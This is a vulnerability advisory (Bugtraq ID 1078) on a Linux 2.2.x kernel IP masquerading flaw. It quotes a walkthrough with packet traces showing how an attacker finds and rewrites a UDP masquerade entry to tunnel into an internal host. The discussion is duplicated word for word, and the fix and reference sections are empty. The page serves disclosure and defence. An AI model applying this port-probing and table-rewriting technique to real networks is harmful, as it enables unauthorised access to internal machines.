Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
BID:1078
Info
Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
| Bugtraq ID: | 1078 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 27 2000 12:00AM |
| Updated: | Mar 27 2000 12:00AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list on March 27, 2000 by H D Moore <[email protected]> |
| Vulnerable: |
Redhat Linux 6.2 i386 Redhat Linux 6.1 sparc Redhat Linux 6.1 i386 Redhat Linux 6.1 alpha Redhat Linux 6.0 sparc Redhat Linux 6.0 alpha Redhat Linux 6.0 Linux kernel 2.2.14 Linux kernel 2.2.12 Linux kernel 2.2.10 Debian Linux 2.2 pre potato Debian Linux 2.2 Debian Linux 2.1 |
| Not Vulnerable: | |
Discussion
Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
A serious vulnerability exists in the IP Masquerading code present in, but not necessarily limited to, the 2.2.x Linux kernel. Due to poor checking of connections in the kernel code, an attacker can potentially rewrite the UDP masquerading entries, making it possible for UDP packets to be routed back to the internal machine.
The IP masquerading code only uses destination ports to determine if a packet from the external network is to be forwarded to the internal network. It then sets the remote host and port in its tables to the source address and port of the incoming packet. The attacker needs to determine the local port on the masq gateway to be able to rewrite the table with their own address and port. As the range of ports used to masquerade connections is small, from 6100 to 65096 for both UDP and TCP, it becomes fairly easy for an external host to determine the ports in use. From the Bugtraq post example section:
"We know that example.com has a linux masquerading gateway and that their
DNS server is outside of this firewall. We can come to the conclusion
that internal machines must be able to contact the external DNS server
to be able to access the internet. We start sending our probe packets:
Host A is our internal workstation (192.168.1.100)
Host B is our masq gateway (192.168.1.1 / 10.0.0.1)
Host C is the DNS server (10.0.0.25)
Host X is the attacker (10.10.187.13)
ipchains -L -M -n on the masq gateway BEFORE the probes
> UDP 03:39.21 192.168.1.100 10.0.0.25 1035 (63767) -> 53
[ tcpdump from attacker's machine ]
( we picked source port 12345 for our packets just so the trace would be
easier to follow)
[ snip -- this starts at port 61000 ]
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63762 unreachable [tos 0xd8] (ttl 245, id 13135)
10.10.187.13.12345 > 10.0.0.1.63763: udp 0 (DF) [tos 0x18] (ttl 254, id 23069)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63763 unreachable [tos 0xd8] (ttl 245, id 13136)
10.10.187.13.12345 > 10.0.0.1.63764: udp 0 (DF) [tos 0x18] (ttl 254, id 23070)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63764 unreachable [tos 0xd8] (ttl 245, id 13137)
10.10.187.13.12345 > 10.0.0.1.63765: udp 0 (DF) [tos 0x18] (ttl 254, id 23071)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63765 unreachable [tos 0xd8] (ttl 245, id 13138)
10.10.187.13.12345 > 10.0.0.1.63766: udp 0 (DF) [tos 0x18] (ttl 254, id 23074)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63766 unreachable [tos 0xd8] (ttl 245, id 13139)
10.10.187.13.12345 > 10.0.0.1.63767: udp 0 (DF) [tos 0x18] (ttl 254, id 23083)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63767 unreachable [tos 0xd8] (ttl 244, id 17205)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
The above packet's ID is substantially different, we may have found a masq'd connection !!!
10.10.187.13.12345 > 10.0.0.1.63768: udp 0 (DF) [tos 0x18] (ttl 254, id 23084)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63768 unreachable [tos 0xd8] (ttl 245, id 13140)
10.10.187.13.12345 > 10.0.0.1.63769: udp 0 (DF) [tos 0x18] (ttl 254, id 23088)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63769 unreachable [tos 0xd8] (ttl 245, id 13141)
10.10.187.13.12345 > 10.0.0.1.63770: udp 0 (DF) [tos 0x18] (ttl 254, id 23090)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63770 unreachable [tos 0xd8] (ttl 245, id 13142)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23091)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63771 unreachable [tos 0xd8] (ttl 245, id 13143)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23092)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63772 unreachable [tos 0xd8] (ttl 245, id 13144)
[ snip -- all the way to the upper end of our masq ports ]
ipchains -L -M -n on the masq gateway AFTER the probes
> UDP 04:35.12 192.168.1.100 10.10.187.13 1035 (63767) -> 12345
^-------[ expiration of the udp tunnel has been updated ;)
w00t! We now have a working tunnel from our host to port 1035 on the
inside machine! "
A serious vulnerability exists in the IP Masquerading code present in, but not necessarily limited to, the 2.2.x Linux kernel. Due to poor checking of connections in the kernel code, an attacker can potentially rewrite the UDP masquerading entries, making it possible for UDP packets to be routed back to the internal machine.
The IP masquerading code only uses destination ports to determine if a packet from the external network is to be forwarded to the internal network. It then sets the remote host and port in its tables to the source address and port of the incoming packet. The attacker needs to determine the local port on the masq gateway to be able to rewrite the table with their own address and port. As the range of ports used to masquerade connections is small, from 6100 to 65096 for both UDP and TCP, it becomes fairly easy for an external host to determine the ports in use. From the Bugtraq post example section:
"We know that example.com has a linux masquerading gateway and that their
DNS server is outside of this firewall. We can come to the conclusion
that internal machines must be able to contact the external DNS server
to be able to access the internet. We start sending our probe packets:
Host A is our internal workstation (192.168.1.100)
Host B is our masq gateway (192.168.1.1 / 10.0.0.1)
Host C is the DNS server (10.0.0.25)
Host X is the attacker (10.10.187.13)
ipchains -L -M -n on the masq gateway BEFORE the probes
> UDP 03:39.21 192.168.1.100 10.0.0.25 1035 (63767) -> 53
[ tcpdump from attacker's machine ]
( we picked source port 12345 for our packets just so the trace would be
easier to follow)
[ snip -- this starts at port 61000 ]
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63762 unreachable [tos 0xd8] (ttl 245, id 13135)
10.10.187.13.12345 > 10.0.0.1.63763: udp 0 (DF) [tos 0x18] (ttl 254, id 23069)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63763 unreachable [tos 0xd8] (ttl 245, id 13136)
10.10.187.13.12345 > 10.0.0.1.63764: udp 0 (DF) [tos 0x18] (ttl 254, id 23070)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63764 unreachable [tos 0xd8] (ttl 245, id 13137)
10.10.187.13.12345 > 10.0.0.1.63765: udp 0 (DF) [tos 0x18] (ttl 254, id 23071)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63765 unreachable [tos 0xd8] (ttl 245, id 13138)
10.10.187.13.12345 > 10.0.0.1.63766: udp 0 (DF) [tos 0x18] (ttl 254, id 23074)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63766 unreachable [tos 0xd8] (ttl 245, id 13139)
10.10.187.13.12345 > 10.0.0.1.63767: udp 0 (DF) [tos 0x18] (ttl 254, id 23083)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63767 unreachable [tos 0xd8] (ttl 244, id 17205)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
The above packet's ID is substantially different, we may have found a masq'd connection !!!
10.10.187.13.12345 > 10.0.0.1.63768: udp 0 (DF) [tos 0x18] (ttl 254, id 23084)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63768 unreachable [tos 0xd8] (ttl 245, id 13140)
10.10.187.13.12345 > 10.0.0.1.63769: udp 0 (DF) [tos 0x18] (ttl 254, id 23088)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63769 unreachable [tos 0xd8] (ttl 245, id 13141)
10.10.187.13.12345 > 10.0.0.1.63770: udp 0 (DF) [tos 0x18] (ttl 254, id 23090)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63770 unreachable [tos 0xd8] (ttl 245, id 13142)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23091)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63771 unreachable [tos 0xd8] (ttl 245, id 13143)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23092)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63772 unreachable [tos 0xd8] (ttl 245, id 13144)
[ snip -- all the way to the upper end of our masq ports ]
ipchains -L -M -n on the masq gateway AFTER the probes
> UDP 04:35.12 192.168.1.100 10.10.187.13 1035 (63767) -> 12345
^-------[ expiration of the udp tunnel has been updated ;)
w00t! We now have a working tunnel from our host to port 1035 on the
inside machine! "
Exploit / POC
Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
Please see the discussion for some exploit information.
Please see the discussion for some exploit information.
Solution / Fix
Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
References
Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
References:
References: